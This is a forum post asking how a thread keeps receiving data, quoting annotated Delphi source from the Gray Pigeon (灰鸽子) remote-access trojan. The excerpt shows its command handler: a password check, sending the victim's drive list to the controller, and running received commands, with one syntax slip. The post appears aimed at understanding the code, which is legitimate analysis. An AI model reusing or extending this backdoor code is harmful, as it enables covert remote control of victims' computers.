对于灰鸽子中,其代码是如下完成的
在连接成功后,创建了一个TClienthandleThread线程,用于接收服务端发送过来的
数据。然后将数据送到HandleInput中处理。
问题是,如果这个线程创建完执行完毕后,服务端再有数据发送过来的话,是怎么处理的。我在整个程序中未看到有再创建这个线程的代码。不明白如何处理IndyTcpServer发送过来数据后IndyTCPServer是如何处理的,望大家指点。constructor TClientHandleThread.Create;
begin
   inherited Create(True);  //完全继承TThread线程的过程
   FreeOnTerminate:=True;   //线程结束后释放
   Suspended := false;     //为false时则创建时即调用了Execute
   //Priority:=tpIdle;
end;destructor TClientHandleThread.Destroy;
begin
  inherited destroy;
end;{ TODO -oHuzl -c灰鸽子代码分析 : TClientHandleThread.HandleInput }
//HandleInput函数创建名柄输入
procedure TClientHandleThread.HandleInput;
var
  RDStrList:TStringList; //服务端读取的字符串List
  Request:String;        //请求的字符串
begin
try
  RDStrList:=TStringList.Create;
  RDStrList.Text:=CommandStr;
  if RDStrList[0]=Head then   //字符串头为Pigeon
    begin
      if RDStrList[1]<>Peizhi.PassWord then   //如果密码错误
        begin
          H_GZVIP2004.IdTCPOnline.Write(EncodeBase64('886')+EOL);
          //由OnLine客户端传送不能连接的信息
          RDStrList.Free;
          Exit;
        end;
        if RDStrList[2]='000' then   //如果为000,则
          begin
            if H_GZVIP2004.ConRpcport(H_GZVIP2004.IdTCPClient1) then
            //由新的TCPClient1与服务端连接
              begin
                Request:=GetDrivernum;    //取本机的驱动器
                H_GZVIP2004.SendStreamToClient(H_GZVIP2004.IdTCPClient1,'001',Request);
                //由TCPClient1发送本机的驱动器至远程主机
              end;
            RDStrList.Free;
            Exit;
          end;
      RDStrList.Delete(1);
      H_GZVIP2004.ZhiXingCmd(RDStrList);//根据RDStrList中数据进行执行操作
    end;
   RDStrList.Free;
except
  H_GZVIP2004.ToClientDisconnect;  //开
  Terminate; //终止HandleClient线程
  Exit;
end;
end;
{ TODO -oHuzl -c灰鸽子代码分析 : HandleThread.Excute }
//此过程完成了对服务端传来的数据进行处理,并转成CommandStr,以供HandleClient使用
procedure TClientHandleThread.Execute;
var
Thesize:Integer;
ThtStr:String;
RsltStream: TMemoryStream;
begin
  while not Terminated do   //常用的判断线程是否结束
  begin
    if not H_GZVIP2004.IdTCPOnline.Connected then
    //如果在线客户端未连接上,则
    begin
      H_GZVIP2004.ToClientDisconnect; //完成对所有连接的断开,并重启了Timer
      Break;   //退出While
    end
    else begin
      try
        ThtStr:=H_GZVIP2004.IdTCPOnline.ReadLn(EOL); //使用OnLineClient读取命令
        Thesize:=Strtoint(ThtStr);
        if Thesize>0 then
          begin
            try
              RsltStream := TmemoryStream.Create;
              H_GZVIP2004.IdTCPOnline.ReadStream(RsltStream,Thesize,False);
              RsltStream.Position := 0;
              SetLength(CommandStr, RsltStream.Size); //设置命令字符串长度
              RsltStream.Read(CommandStr[1], RsltStream.Size);  //将流数据读入命令字符串中
              CommandStr:=DecodeBase64(CommandStr);
              RsltStream.Free;
              { TODO -oHuzl -c灰鸽子代码分析 : Synchronize(Method)不懂 }
              Synchronize(HandleInput);  //线程同步调用HandleInput            Except
              H_GZVIP2004.ToClientDisconnect;
              Break;
            end;
          end;
     except
     end;
    end;
  end;
end;